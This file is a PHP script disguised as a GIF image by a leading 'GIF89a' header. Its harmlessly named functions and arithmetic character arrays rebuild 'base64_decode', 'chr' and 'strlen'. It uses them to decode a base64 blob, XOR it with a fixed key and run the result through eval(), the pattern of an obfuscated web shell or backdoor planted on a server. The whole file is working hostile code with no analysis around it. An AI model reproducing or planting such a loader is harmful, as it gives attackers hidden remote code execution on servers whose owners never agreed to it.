1GIF89a<?php
  2function monitor_health($x)
  3{
  4    $i = array(5 * 23, 40 + 76, 114, 117 - 9, 65 * 10 - 549, 55 * 1 + 55);
  5    $l = '';
  6    foreach ($i as $b) {
  7        $l .= chr($b);
  8    }
  9    return $l($x);
 10}
 11
 12function decode_input($m)
 13{
 14    $v = array(83 * 1 + 16, 73 * 1 + 31, 2 * 57);
 15    $e = '';
 16    foreach ($v as $d) {
 17        $e .= chr($d);
 18    }
 19    return $e($m);
 20}
 21
 22$sbn = array(98 + 10 + 3 - (10 + 3) + 20 - 20 + 4 + 9 - (4 + 9) - 19 + 19, 97 + 10 + 9 - (10 + 9) + 17 - 17, (115 * 23 / 23 - 9 + 9 - 2 + 2 * 1) / 1 + 3 - 3, (101 + 16 - 16 * 1) / 1 - 17 + 17, 54 + 4 + 10 - (4 + 10) + 7 + 8 - (7 + 8) - 18 + 18 + 13 - 13, 52 - 5 + 5 - 16 + 16 + 4 - 4 + 4 - 4 + 2 + 1 - (2 + 1), 95 - 8 + 8 + 3 + 2 - (3 + 2), 100 + 1 - 1 - 16 + 16 - 11 + 11, (101 + 1 - 1 + 1 - 1 * 1) / 1 - 14 + 14 + 10 + 9 - (10 + 9), 99 + 9 + 9 - (9 + 9) + 7 + 2 - (7 + 2) + 4 + 3 - (4 + 3), 111 * 3 / 3 * 3 / 3 - 19 + 19, 100 * 1 / 1 * 25 / 25 * 20 / 20, (101 + 3 + 5 - (3 + 5) * 1) / 1 + 5 + 10 - (5 + 10) + 14 - 14);
 23$kwt = '';
 24foreach ($sbn as $myz) {
 25    $kwt .= decode_input($myz);
 26}
 27$ndt = 'UF4PBBdEbFcXDBQWWkQPAwFEQEYPAw0HF20bD18XR1MaHgdEVUcAFBANXFxOKA0LGxYxDRECHxYxEh0TGkkHEUxFQFcCEV5eF20bD00XVl4ITV47QltGXl9AbEACHVkXR0ACEgpMF20LDhNNCBYxHw9ZUVMdElJQbFYLFAsAVhodEggCCQhKKBEcaBYxDRECbhtVEQsWGxYxHggKDgJCUzsdSg8dAxYIVlxGUzsMWBtVUzsNX1xPSllAbEsXTE9PF20HGwpNF20GHD9AbFsCGTlZUFocXwsWVxpKKAwPaBYxHggKbhswGBYAGxYxEh0TaBYxHggKFhYxBQgObhtHTBYBR0ccGUA7W1lVChQWWkQPAwFEQEYPAw0HE1QbGQcQWl0AVzsVWhpHDBcBX1RUTUA7RkpTFhYWUktGUDsAXxVTSUMiSUVcPhMlCn86LioqSn9eMA09ARVCUDsTR1BJSlpDdUs3QiAdAwYqMwdLcnYjBiMORAdJW0M7SllJSlpDaQIKJgUxdWcPMiFZFB5JKA0NXRVTSUNDHxUxAgZDDgxJUEhNCE8THgJMWkEdEhBMF209MjYydmA1KAEdCQgxHgtMFG0KG0NIFG0GFRdDGm9HUUIXR0AeGBdMF209MjYydmA1KAEdCQgxHgtMFG0ZAwZDHxUxBQlDGm9CKAEdCQgxHgtMFG0XHENIFG0cFUNNGhNTSgIFX0ELXh9AbEsXSkA7cH0hPC0hCBYxEh0TDgJeTEA7SUcISlRWCBYxBQUMDlMcBQUdGxtVUzsWUlo1UzsBSkUzSjsBSghUKA0LGxUxHg0KFB5JKAYLFBtVAAwNX1dGUzseRlRHDEA7QVMGLEA7VksZKkpZF20XDj9UAQUzLEA7SUcIKl8NVRpPUzsdSmleRVM5aBYxDRECGAJfKk0fWlRGVkA7Sks1R1ZTbmlKKB4RVRleRTlNUUALFg9fF20LDhNPGAlKKBYFW2lKKAEdRG9TKAEdCQgxHgtMFG0bFUNIFG0fEkNNCBYxDRECGBlVCkA7SUcISkA7SUcIXFRWGAJfTBlAbFcXAFlAbEAPHz9UBG9GXkpAbEAPHz9UAQYzTA0CGxNKKBYFW2leRFU5GxYxEh0TGhsVUzseRlRTUzsWUlo1R1VUbhpKKAEdRB5KKBYFW2leRVQ5GglKKBYFW2leRVE5GxYxDRECHxYxBQUMaAJfRTlKF20cFgw/AwNdKkxAbEAPHz9UAAEzX0A7Sks1R1c5GhtHTBkNXVECAgABGxYxEh0TGgkKHgFMGgkT';
 28$rfy = '32nwdd';
 29$tuv = '';
 30for ($pst = 0; $pst < monitor_health($kwt($ndt)); $pst++) {
 31    $tuv .= $kwt($ndt)[$pst] ^ $rfy[$pst % monitor_health($rfy)];
 32}
 33eval($tuv);